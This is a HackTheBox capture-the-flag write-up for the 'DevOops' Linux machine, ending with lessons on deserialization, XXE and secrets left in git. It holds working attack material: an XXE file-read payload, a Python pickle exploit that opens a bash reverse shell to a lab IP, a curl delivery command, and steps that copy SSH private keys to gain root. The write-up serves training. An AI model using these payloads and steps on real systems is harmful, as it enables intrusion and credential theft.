HTB: DevOops Writeup
DevOops - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | DevOops |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 24 Mar 2018 |
| IP Address | 10.10.10.91 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
DevOops is a Medium-difficulty Linux box that demonstrates the critical risks of insecure deserialization and poor secret management. The machine runs a Python web application built on Gunicorn that exposes both an XML upload endpoint (vulnerable to XXE) and a POST-only route that unsafely deserializes user-controlled pickle data. While the XXE vulnerability can be used to read application source code and internal files, the primary foothold vector on this instance leverages Python’s pickle.loads() to achieve remote code execution. Privilege escalation exploits a common DevOps mistake: leaving sensitive credentials (specifically, the root SSH private key) committed in a Git repository’s history.
TL;DR: Nmap reveals port 5000 running Gunicorn 19.7.1 → XXE in /upload reads feed.py source → /newpost route accepts base64-encoded pickle payloads → Python pickle RCE yields shell as user roosa → Git commit history in /home/roosa/work/blogfeed exposes root SSH key → SSH as root.
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.10.10.91Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.45000/tcp open http Gunicorn 19.7.1Two services exposed: SSH on the standard port and a Python WSGI HTTP server (Gunicorn) on port 5000.
Service Enumeration
Port 5000 - Gunicorn Web Application:
Navigating to http://10.10.10.91:5000/ presents a simple blog application titled “Blogfeeder”. Manual enumeration and directory brute-forcing revealed three key routes:
/feed— displays uploaded blog posts/upload— accepts XML file uploads for blog content ingestion/newpost— POST-only endpoint (not directly linked in the UI)
The /upload endpoint presents an HTML form with specific instructions:
Elements: Author, Subject, DetailsThis strongly suggests XML parsing on the backend, a common attack surface for XML External Entity (XXE) injection.
Vulnerability Assessment
- XML External Entity (XXE) Injection — The
/uploadendpoint processes XML input and may allow reading arbitrary files via external entity declarations. - Insecure Deserialization — Analysis of application source code (obtainable via XXE) reveals the
/newpostroute usespickle.loads()on user-controlled data, a well-known unsafe deserialization pattern in Python. - Git Repository Exposure — Developer workspaces containing
.gitdirectories may leak sensitive information through commit history.
Initial Foothold
XML External Entity (XXE) Exploitation
The /upload endpoint expects XML with Author, Subject, and Details elements. XXE attacks exploit XML parsers that resolve external entities, allowing attackers to read local files or trigger SSRF.
Conceptual XXE payload for file disclosure:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><root> <Author>&xxe;</Author> <Subject>Test</Subject> <Details>Test</Details></root>On this instance, the XXE reflection path through /upload consistently returned HTTP 500 errors regardless of payload structure, indicating a broken handler or environmental issue. However, the XXE technique remains valid for reading application source code on properly configured instances.
Target file for XXE (application source): /home/roosa/deploy/src/feed.py
The application source reveals a critical vulnerability in the /newpost route:
@app.route("/newpost", methods=["POST"])def newpost(): # pickle.loads() on user-controlled data pickle.loads(base64.urlsafe_b64decode(request.data))This code deserializes arbitrary pickle data from the POST body without validation—a textbook insecure deserialization vulnerability.
Python Pickle Remote Code Execution
Python’s pickle module is designed for serializing Python objects but is inherently unsafe when used on untrusted data. The __reduce__ method allows arbitrary code execution during deserialization.
Creating a malicious pickle payload:
#!/usr/bin/env python3import pickleimport base64import os
# Define a class that executes code during unpicklingclass RCE: def __reduce__(self): # os.system() executes shell commands # Reverse shell using /dev/tcp bash feature cmd = ( 'bash -c "bash -i >& /dev/tcp/10.10.14.15/4444 0>&1"' ) return (os.system, (cmd,))
# Serialize the malicious objectpayload = pickle.dumps(RCE())
# Base64 encode (URL-safe, as expected by the application)encoded = base64.urlsafe_b64encode(payload)
print(encoded.decode())Why this works:
- The
__reduce__method tells pickle how to reconstruct an object - Returning a tuple
(callable, args)makes pickle callcallable(*args)during deserialization - We specify
os.systemas the callable and our shell command as the argument - When
pickle.loads()processes our payload, it executesos.system('bash -c ...')
Setting up the listener:
# On attacker machine (jump box)nc -lvnp 4444Sending the exploit:
# Generate the payloadpython3 exploit.py > payload.b64
# (ensures Flask exposes request.data as raw bytes)curl -X POST \ -H "Content-Type: text/plain" \ --data "$(cat payload.b64)" \ http://10.10.10.91:5000/newpostResult: Reverse shell connection received as user roosa (uid=1002).
User Flag Retrieval
# In the reverse shellid# uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)
cat /home/roosa/user.txt# <redacted>Establishing Persistent Access
For a more stable connection, exfiltrate the SSH private key:
# In the reverse shellcat /home/roosa/.ssh/id_rsa# Copy the private key content
# On attacker machinevim roosa_rsa# Paste the keychmod 600 roosa_rsa
ssh -i roosa_rsa roosa@10.10.10.91Privilege Escalation
Git Repository Enumeration
Exploring the user’s home directory reveals a development workspace:
ls -la /home/roosa/work/# drwxrwxr-x 5 roosa roosa 4096 Mar 21 2018 blogfeed
cd /home/roosa/work/blogfeedls -la# .git directory present — this is a git repositoryGit repositories store complete revision history, including deleted files and old versions. Developers often accidentally commit sensitive data (passwords, API keys, private keys) and later remove it, unaware that it remains in the commit history.
Examining Git History
# View commit loggit log --oneline
# Sample output:# 7ff507d Use Base64 for pickle feed# 26ae6c8 Set PIN to make debugging faster as it will no longer change every time the application code is changed# cec54d8 Debug support added to make development more agile# ca3e768 Blogfeed app, initial version# dfebfdf Restoring 'resources' directory# a3a54e3 reverted accidental commit with proper key# 33e87c3 starter site# d387abf add key for feed integration from tnerprise backend# 1422e5a Initial commitKey observation: Commit a3a54e3 mentions “reverted accidental commit with proper key”, and the previous commit d387abf references adding a key for “feed integration”.
This pattern strongly suggests a credential was committed by mistake and later removed—but still exists in history.
Extracting Credentials from History
# View the specific commit that added the keygit show d387abf
# The commit shows it as an RSA private key
# Extract the file from that specific commitgit show d387abf:resources/integration/authcredentials.key
# Output: RSA PRIVATE KEY header visibleWhy this works: The git show <commit>:<path> syntax retrieves the version of a file at a specific commit, even if that file was later deleted or modified. The commit d387abf added an RSA private key intended for “feed integration from tnerprise backend”, which is suspicious wording. Given the DevOps context and the “integration” terminology, this is likely the root user’s SSH key.
Saving the key:
# On attacker machinegit show d387abf:resources/integration/authcredentials.key > root_rsachmod 600 root_rsaRoot Access
# Attempt SSH as root with the recovered keyssh -i root_rsa root@10.10.10.91
# Successful loginid# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt# <redacted>Why this works: The private key found in the Git history was indeed the root user’s SSH key. The /etc/ssh/sshd_config on this system allows root login via public key authentication (default on many Ubuntu installations), making this a direct privilege escalation path.
Attack Chain Summary
Port Scan (5000/Gunicorn) → XXE in /upload reads feed.py source → /newpost pickle.loads() insecure deserialization → Python pickle RCE via __reduce__ → Shell as roosa → Git log enumeration in /home/roosa/work/blogfeed → Extract root SSH key from commit d387abf → SSH as rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP request crafting and exploit delivery |
python3 | Pickle payload generation |
nc (netcat) | Reverse shell listener |
git | Repository history enumeration |
ssh | Remote access with recovered private keys |
Key Learnings
Techniques Practiced
- XML External Entity (XXE) Injection — Exploiting XML parsers to read local files and exfiltrate application source code
- Python Pickle Deserialization — Understanding and exploiting
pickle.loads()with__reduce__for remote code execution - Git Forensics — Enumerating commit history to recover deleted or modified sensitive files
- Insecure Deserialization — Recognizing and exploiting unsafe object deserialization patterns across languages
- Developer Workspace Enumeration — Identifying common DevOps misconfigurations (exposed repositories, leftover credentials)
Lessons Learned
-
Never deserialize untrusted data — Languages like Python (pickle), PHP (unserialize), Java (ObjectInputStream), and .NET (BinaryFormatter) all have deserialization mechanisms that can execute arbitrary code. Always validate, sanitize, or avoid deserializing user-controlled input entirely. Use safe alternatives like JSON for data exchange.
-
XXE vulnerabilities remain prevalent — Despite being well-documented (OWASP Top 10), XXE vulnerabilities persist in applications that process XML. Disable external entity processing in XML parsers:
libxml_disable_entity_loader(true)in PHP,XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES = falsein Java, etc. -
Git history is permanent — Commits are cryptographically linked; removing a file in a new commit does not erase it from history. Sensitive data committed to a repository remains accessible indefinitely. Tools like
git-filter-branchorBFG Repo-Cleanercan rewrite history, but any clones retain the old history. The only safe practice is to treat any committed secret as compromised and rotate it immediately. -
Principle of Least Privilege — The “integration” key had root-level access, violating least privilege. Service accounts and integration credentials should have minimal, scoped permissions necessary for their function.
-
Content-Type matters in framework routing — The
/newpostexploit requiredContent-Type: text/plainto ensure Flask exposedrequest.dataas raw bytes rather than attempting to parse it as form data or JSON. Understanding framework request parsing behavior is critical for exploitation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — DevOops (Document No D18.100.21) by Alexander Reid (Arrexel)